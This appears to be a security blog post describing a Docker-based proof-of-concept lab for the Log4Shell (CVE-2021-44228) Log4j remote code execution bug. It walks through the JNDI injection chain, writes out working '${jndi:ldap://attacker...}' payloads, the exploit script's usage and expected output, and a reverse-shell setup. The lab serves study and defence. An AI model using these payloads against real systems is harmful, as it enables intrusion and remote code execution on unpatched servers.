joaovicdev@sec:~$

$ cat cve-2021-44228-log4shell.mdx

CVE-2021-44228: Log4Shell RCE — end-to-end PoC lab

[CVE-2021-44228][cve][log4j][rce][jndi][poc]
PoC & exploit on GitHub

Authorization: this is a self-contained lab built for education and security research. All traffic stays inside an isolated Docker network. Do not point it at systems you don't own or aren't explicitly authorized to test — misuse can be a crime.

Summary

Log4Shell (CVE-2021-44228) is a critical CVSS 10.0 remote code execution bug disclosed in December 2021 in Apache Log4j 2, one of the most widely deployed logging libraries in the Java ecosystem. A single attacker-controlled string, logged anywhere by a vulnerable application, is enough to make the server fetch and execute remote Java code.

This repository is a full attacker-and-victim lab: a deliberately vulnerable Spring Boot service, the attacker infrastructure that serves the malicious class, and a Node.js exploit that fires the payload and lands a reverse shell — all wired together with Docker Compose so the whole chain runs on one machine.

How the vulnerability works

Log4j supports message interpolation: when it logs a string, it evaluates ${...} expressions at runtime. ${java:version}, for example, is replaced with the running JVM version.

The problem is that this interpolation also resolves JNDI (Java Naming and Directory Interface) lookups. When Log4j logs a value like:

${jndi:ldap://attacker.com/Exploit}

it tells the JVM to perform an LDAP query to the attacker's server. That server replies with a reference to a remote Java class, and a vulnerable JVM will download and instantiate that class — turning a log line into arbitrary code execution.

The attack surface is enormous because the trigger just has to be logged. Any field the application records — HTTP headers, form fields, cookies, usernames — becomes an injection point.

Affected versions

Log4j 2Status
2.0-beta92.14.1Vulnerable
2.15.0First fix (still had follow-up issues)
2.17.0Definitively fixed

The lab

Vulnerable application

ComponentVersionWhy it's exploitable
Apache Log4j2.14.1Evaluates ${jndi:...} lookups with no restrictions
JDK1.8.0_181Predates 8u191, which set com.sun.jndi.ldap.object.trustURLCodebase=false
Spring Boot2.5.6Just the web framework — the bug lives entirely in Log4j

The JDK version matters as much as the Log4j version: on 8u191+ the JVM refuses to load remote codebases over LDAP by default, so the classic "serve a class over HTTP" path used here needs the older runtime.

The vulnerable endpoint simply logs a few request headers:

GET http://localhost:8080/log

Any of these headers is logged directly by Log4j and works as the injection vector:

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

Attacker infrastructure

ServicePortRole
marshalsec (LDAP)1389Receives the JNDI lookup and redirects it to the HTTP server
Python HTTP server8888Serves the compiled Exploit.class to the victim JVM
netcat listener9001Catches the reverse shell

Exploitation

The exploit injects a JNDI payload into a loggable header and lets Log4j do the rest. With defaults, the injected value is:

${jndi:ldap://attacker:1389/Exploit}

The full chain, once that header is logged:

  1. Injection — the payload lands in the X-Api-Version header of a GET /log request.
  2. Trigger — Log4j interpolates ${jndi:...} and the victim JVM performs an LDAP lookup against attacker:1389.
  3. Redirect — marshalsec answers with a reference pointing at the HTTP server on :8888.
  4. Load & execute — the JVM downloads Exploit.class and runs it, which drops a marker (/tmp/pwned) and dials back a reverse shell.
  5. Shell — the netcat listener on :9001 receives the connection.

The driver is a small Node.js script. It parses the target URL, picks HTTP/HTTPS transport, plants the JNDI string in the chosen header, sends the request, and reports the status — with a 10-second timeout:

exploit/exploit.js — parameters
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
# defaults: http://localhost:8080/log  attacker  1389  Exploit  X-Api-Version

Running it

Prerequisites: Docker, Docker Compose, and Node.js.

1. Bring up the whole environment:

terminal 1
docker-compose up --build

Wait until the logs show the app is ready and the listener is waiting:

[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. Fire the exploit from a second terminal:

terminal 2
node exploit/exploit.js

Expected output:

[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
 
[+] Response : 200 OK
[+] Body     : logged
 
[+] Payload delivered — check the attacker nc listener on port 9001

3. Confirm code execution — watch the reverse shell hit :9001 in the compose logs, and check the marker file the payload dropped inside the victim container:

docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

Custom parameters let you swap the vector or point at a different LDAP host:

node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

References